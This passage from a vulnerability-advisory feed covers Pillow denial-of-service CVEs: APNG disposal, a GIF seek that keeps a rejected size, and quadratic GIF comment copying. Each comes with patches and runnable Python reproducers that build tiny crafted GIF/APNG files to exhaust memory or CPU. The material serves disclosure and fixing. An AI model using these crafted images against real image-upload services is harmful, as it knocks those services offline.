0, 1, 10, dispose_op, 0)\n    idat = zlib.compress(b\"\\x00\" + b\"\\x00\\x00\\x00\\x00\")  # one 1x1 RGBA scanline\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"acTL\", actl)\n            + chunk(b\"fcTL\", fctl) + chunk(b\"IDAT\", idat) + chunk(b\"IEND\", b\"\"))\n\n\n# What an application does with an untrusted upload: Image.open() with default\n# settings, no load(). Prints the outcome and this process's peak RSS in MB.\nOPEN_UNTRUSTED = \"\"\"\nimport io, resource, sys\nfrom PIL import Image\ntry:\n    Image.open(io.BytesIO(sys.stdin.buffer.read()))\n    outcome = \"opened\"\nexcept Exception as e:\n    outcome = type(e).__name__\nprint(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)\n\"\"\"\n\n\ndef open_in_child(data):\n    p = subprocess.run([sys.executable, \"-c\", OPEN_UNTRUSTED], input=data,\n                       capture_output=True, timeout=60)\n    if p.returncode == -9:  # SIGKILL: OOM-killed on a small host -- also the bug\n        return \"oom-killed(rc=-9)\", None\n    if p.returncode != 0:  # anything else is a harness failure, not evidence\n        print(p.stdout.decode(), p.stderr.decode(), sep=\"\\n\")\n        print(\"child failed unexpectedly (rc=%d)\" % p.returncode)\n        print(\"OK\")\n        sys.exit(1)\n    outcome, peak_mb = p.stdout.split()\n    return outcome.decode(), int(peak_mb)\n\n\ncontrol = build_apng(dispose_op=0)\nattack = build_apng(dispose_op=1)\n\nc_outcome, c_mb = open_in_child(control)\na_outcome, a_mb = open_in_child(attack)\n\nprint(\"%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults\"\n      % (len(attack), SIZE, SIZE))\nprint(\"  control  dispose_op=0 OP_NONE        -> %-22s peak RSS %5s MB\" % (c_outcome, c_mb))\nprint(\"  attack   dispose_op=1 OP_BACKGROUND  -> %-22s peak RSS %5s MB\" % (a_outcome, a_mb))\n\n# Expected: both rejected at roughly interpreter size. Bug: the attack file\n# made the \"cheap\" rejection cost a full-size canvas (or killed the process).\nif a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb):\n    print(\"Image.open() touched a full %dx%d canvas before the bomb check ran\"\n          % (SIZE, SIZE))\n    print(\"BUG\")\nelse:\n    print(\"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112399"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112400","published":"2026-10-21T09:14:41Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-65qm-jvmh-6pqg","CVE-2026-112400","BIT-pillow-2026-112400"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS","details":"```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293  in GifImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070.\n\nIn the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294  (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 > self.size[0] or y1 > self.size[1]) and update_image:\n    self._size = max(x1, self.size[0]), max(y1, self.size[1])   # state mutated\n    Image._decompression_bomb_check(self._size)                 # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff          GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00               frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00                            frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00               another 1x1 frame\n3b                                              trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n  file pointer just past the 9-byte descriptor, so the retry parses whatever\n  follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()`\n  then runs `GifImageFile.load_prepare()`:\n  ```python\n  # src/PIL/GifImagePlugin.py:452-456\n  elif self.mode in (\"RGB\", \"RGBA\"):\n      self._prev_im = self.im\n      if self._frame_palette:\n          self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n  ```\n  which allocates and `memset`s a 40000×40000 \"P\" image (1.6 GB) to decode a\n  1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n  one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n  common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n  from `im.size` as well (measured on an object poisoned to 20000×20000:\n  `rotate(45, expand=True)` completes and touches 776 MiB;\n  `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n  `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n  fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070×131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96× the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at\n1×1).\n\n## Impact\n\nA remote user who can upload a GIF to a service that (a) seeks animation frames\nand (b) catches the exception from `seek()` — a broad `except Exception` around\na `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit\n`except DecompressionBombError: log and continue` — and then keeps using the\nsame `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a\n60-byte file: `MemoryError` after the process has committed gigabytes, or an\nOOM kill of the worker when no address-space limit is set. The\n`MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected\ndimensions out of the object it is guarding.\n\nThe precondition is real application behaviour but not the default path:\n`Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates\nthe error out of the `for` statement (a `try` inside the loop body does not\nswallow it). Hence low severity. This is adjacent to the GIF extent bomb check\nadded for CVE-2022-45198: the ordering was introduced with that check in\n`c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first\nreleased in Pillow 9.2.0. Before it, the same size growth happened with no\ncheck at all; the check introduced there is the one that runs too late.\n\n## Reproducing\n\n`repro` is a single Python script run against the installed Pillow. It needs\nabout 1.7 GB of free RAM.\n\n1. **`setup_env()`** caps the process address space at 3 GiB with\n   `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of\n   the OOM killer. It then opens the 60-byte GIF shown above, built in memory\n   by `bomb_gif()`. The GIF contains a 1×1 screen and a 1×1 frame 0, so\n   `Image.open()` passes its own bomb check. Next comes a bare frame-1 image\n   descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error\n   threshold). A real 1×1 frame follows it.\n2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way\n   an application that skips bad frames would.\n3. **First check: the state is inconsistent.** The script prints `im.size` next\n   to the real pixel buffer `im.im.size`. If the rejected frame had left the\n   object unchanged, both would be `(1, 1)`. On the affected code `im.size` is\n   `(40000, 40000)`.\n4. **Second check: memory use.** The script retries `im.seek(1)`, which now\n   parses the trailing 1×1 frame, and calls `im.load()`. It prints the\n   process's peak RSS before and after. `load_prepare()` sizes its\n   `Image.core.fill()` from `im.size`, so loading a single pixel fills a\n   1.6 GB buffer before the 3 GiB cap stops the next allocation.\n\nExpected output on the affected tree:\n\n```\nopen(): 60-byte GIF, size=(1, 1)\nseek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.\nafter the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)\nseek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB\nBUG\n```\n\nThe script prints `BUG` only if both checks hold: the over-limit size stayed\non the object after the exception, and peak RSS grew by more than 1000 MiB\nwhile loading a 1×1 frame. Otherwise it prints `OK`. With the attached patch\napplied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the\nlast line is `OK`.\n\n## Suggested fix\n\nThe attached patch validates before mutating in `GifImageFile._seek()`\n(`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a\nlocal, passed to `_decompression_bomb_check()`, and only then assigned to\n`self._size`, matching the order of the two `dispose_size` checks further down\nthe same function. A rejected frame therefore leaves the object in its pre-seek\nstate; valid files behave as before, and the exception is still raised at the\nsame point:\n\n```diff\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n`n_frames` / `is_animated` go through `update_image=False` and are unaffected.\nThe patch also extends `test_exception_gif_extents` in\n`Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after\nthe `DecompressionBombError`. It does not change `seek()` itself; optionally,\n`seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek\nto `last_frame`, so that a retried `seek()` does not resume parsing from the\nmiddle of the rejected frame.\n\n## The patch\n\nGIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py\nindex 98d833736..83cc785fc 100644\n--- a/Tests/test_decompression_bomb.py\n+++ b/Tests/test_decompression_bomb.py\n@@ -63,6 +63,9 @@ class TestDecompressionBomb:\n             with pytest.raises(Image.DecompressionBombError):\n                 im.seek(1)\n \n+            # The rejected frame should not have changed the image size\n+            assert im.size == (100, 100)\n+\n     def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:\n         # Set limit to trigger exception on the test file\n         monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128)\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..f9bda06c2 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n                 x0, y0 = i16(s, 0), i16(s, 2)\n                 x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n                 if (x1 > self.size[0] or y1 > self.size[1]) and update_image:\n-                    self._size = max(x1, self.size[0]), max(y1, self.size[1])\n-                    Image._decompression_bomb_check(self._size)\n+                    size = max(x1, self.size[0]), max(y1, self.size[1])\n+                    Image._decompression_bomb_check(size)\n+                    self._size = size\n                 frame_dispose_extent = x0, y0, x1, y1\n                 flags = s[8]\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,474 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# GifImageFile._seek() stores a frame's enlarged size in self._size and only\n# *then* runs the decompression-bomb check. The check raises, but the object\n# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the\n# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.\nimport io\nimport resource\nimport struct\n\nfrom PIL import Image\n\nBOMB = 40000  # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold\nLIMIT = 2 * Image.MAX_IMAGE_PIXELS\n\n\ndef frame_1x1():\n    # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream\n    return b\",\" + struct.pack(\"<HHHHB\", 0, 0, 1, 1, 0) + b\"\\x02\\x02\\x44\\x01\\x00\"\n\n\ndef bomb_gif():\n    return (\n        b\"GIF89a\" + struct.pack(\"<HHBBB\", 1, 1, 0x80, 0, 0) + b\"\\x00\" * 3 + b\"\\xff\" * 3\n        + frame_1x1()                                         # frame 0: 1x1, passes open()\n        + b\",\" + struct.pack(\"<HHHHB\", 0, 0, BOMB, BOMB, 0)   # frame 1 claims 40000x40000\n        + frame_1x1()                                         # a real 1x1 frame follows\n        + b\";\"\n    )\n\n\ndef peak_rss_mib():\n    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024\n\n\ndef setup_env():\n    # Cap the address space so the oversized allocations end in MemoryError\n    # instead of the OOM killer.\n    resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))\n    data = bomb_gif()\n    im = Image.open(io.BytesIO(data))\n    print(f\"open(): {len(data)}-byte GIF, size={im.size}\")\n    return im\n\n\ndef poc(im):\n    # An application skips the bomb frame and keeps going.\n    try:\n        im.seek(1)\n    except Image.DecompressionBombError as e:\n        print(f\"seek(1) raised as intended: {e}\")\n        return True\n    return False\n\n\nim = setup_env()\nraised = poc(im)\n\n# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).\nprint(f\"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}\")\npoisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)\n\n# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its\n# buffers from the poisoned im.size.\nbefore = peak_rss_mib()\nim.seek(1)\ntry:\n    im.load()\n    outcome = \"completed\"\nexcept MemoryError:\n    outcome = \"MemoryError at the 3 GiB cap\"\nafter = peak_rss_mib()\nprint(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB\")\nballooned = after - before > 1000\n\nprint(\"BUG\" if poisoned and ballooned else \"OK\")\n```\n</details>\n\n---","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112400"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112401","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-74r2-7ff9-mjj2","CVE-2026-112401","BIT-pillow-2026-112401"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()","details":"```\n============================================================================\nQuadratic GIF comment concatenation allows DoS in Image.open()\nLocation: src/PIL/GifImagePlugin.py:266  in GifImageFile._seek()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nOpening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format.\n\nThe bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info[\"comment\"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info[\"comment\"] += b\"\\n\" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 (\"Allow arbitrary number of comment extension subblocks\", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.\n\n## Details\n\n`GifImageFile._seek()` collects GIF comment extensions into `info[\"comment\"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0.\n\nA 1×1 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine:\n\n| file size | comment extensions (`21 FE …`) | same bytes labelled plain-text extension (`21 01 …`) |\n|---|---|---|\n| 1 MB | 1.2 s | 0.09 s |\n| 2 MB | 4.9 s | 0.13 s |\n| 4 MB | 35 s | 0.26 s |\n| 8 MB | 183 s | — |\n\nThe control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info[\"comment\"]` simply ends up holding the multi-megabyte blob.\n\nThe code, `src/PIL/GifImagePlugin.py:229-281` (trimmed):\n\n```python\n            elif s == b\"!\":\n                s = self.fp.read(1)\n                block = self.data()\n                …\n                elif s[0] == 254:\n                    #\n                    # comment extension\n                    #\n                    comment = b\"\"\n\n                    # Read this comment block\n                    while block:\n                        comment += block                      # :261  one copy per sub-block\n                        block = self.data()\n\n                    if \"comment\" in info:\n                        # If multiple comment blocks in frame, separate with \\n\n                        info[\"comment\"] += b\"\\n\" + comment    # :266  one copy per extension\n                    else:\n                        info[\"comment\"] = comment\n                    s = b\"\"\n                    continue\n                …\n                while self.data():                            # every other extension: read and drop\n                    pass\n```\n\n`self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info[\"comment\"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).\n\nThis runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1×1), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`.\n\nWith both `+=` sites replaced by list-append and a single `b\"\".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.\n\n## Impact\n\nAnyone who can get a GIF to a service that calls `PIL.Image.open()` on it — avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in `im.info[\"comment\"]`), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB).\n\nThis is the same shape as CVE-2021-28677 (\"EPS DOS on _open\", `docs/releasenotes/8.2.0.rst`), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.\n\nThe quadratic accumulation was introduced in `b2b737b68b06` (\"Allow arbitrary number of comment extension subblocks\", 2018-11-27), first released in Pillow 5.4.0.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.\n\nIt builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by `size/5` copies of the 5-byte extension `21 <label> 01 41 00`, then a minimal 1×1 image and the trailer:\n\n- **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info[\"comment\"]` with `+=` (`GifImagePlugin.py:266`).\n- **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away.\n\nThe script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine:\n\n```\n2 MB GIF   control (0x01):   0.16 s   comments (0xFE):   5.14 s\n4 MB GIF   control (0x01):   0.26 s   comments (0xFE):  33.53 s\ndoubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2)\n4 MB comment GIF took x129 as long as the same-size control\nBUG\n```\n\nFor a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold:\n\n- doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×;\n- the 4 MB comment file takes at least 20× as long as its control;\n- the 4 MB comment file takes at least 8 s.\n\nOtherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s.\n\n## Suggested fix\n\nThe attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame's info is committed:\n\n```diff\n@@ def _seek(self, frame: int, update_image: bool = True) -> None:\n         info: dict[str, Any] = {}\n+        comment_blocks: list[bytes] | None = None\n         frame_transparency = None\n@@\n                 elif s[0] == 254:\n                     #\n                     # comment extension\n                     #\n-                    comment = b\"\"\n+                    if comment_blocks is None:\n+                        comment_blocks = []\n+                    else:\n+                        # If multiple comment blocks in frame, separate with \\n\n+                        comment_blocks.append(b\"\\n\")\n \n                     # Read this comment block\n                     while block:\n-                        comment += block\n+                        comment_blocks.append(block)\n                         block = self.data()\n-\n-                    if \"comment\" in info:\n-                        # If multiple comment blocks in frame, separate with \\n\n-                        info[\"comment\"] += b\"\\n\" + comment\n-                    else:\n-                        info[\"comment\"] = comment\n                     s = b\"\"\n                     continue\n@@\n-        if info.get(\"comment\"):\n-            self.info[\"comment\"] = info[\"comment\"]\n+        if comment_blocks:\n+            comment = b\"\".join(comment_blocks)\n+            if comment:\n+                self.info[\"comment\"] = comment\n         for k in [\"duration\", \"extension\"]:\n```\n\nThis removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info[\"comment\"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including `Tests/images/multiple_comments.gif` → `b\"Test comment 1\\nTest comment 2\"` — and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected.\n\nThe patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch.\n\n## The patch\n\nGIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek()\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..05007d2ac 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile):\n         palette: ImagePalette.ImagePalette | Literal[False] | None = None\n \n         info: dict[str, Any] = {}\n+        comment_blocks: list[bytes] | None = None\n         frame_transparency = None\n         interlace = None\n         frame_dispose_extent = None\n@@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile):\n                     #\n                     # comment extension\n                     #\n-                    comment = b\"\"\n+                    if comment_blocks is None:\n+                        comment_blocks = []\n+                    else:\n+                        # If multiple comment blocks in frame, separate with \\n\n+                        comment_blocks.append(b\"\\n\")\n \n                     # Read this comment block\n                     while block:\n-                        comment += block\n+                        comment_blocks.append(block)\n                         block = self.data()\n-\n-                    if \"comment\" in info:\n-                        # If multiple comment blocks in frame, separate with \\n\n-                        info[\"comment\"] += b\"\\n\" + comment\n-                    else:\n-                        info[\"comment\"] = comment\n                     s = b\"\"\n                     continue\n                 elif s[0] == 255 and frame == 0 and block is not None:\n@@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile):\n                 )\n             ]\n \n-        if info.get(\"comment\"):\n-            self.info[\"comment\"] = info[\"comment\"]\n+        if comment_blocks:\n+            comment = b\"\".join(comment_blocks)\n+            if comment:\n+                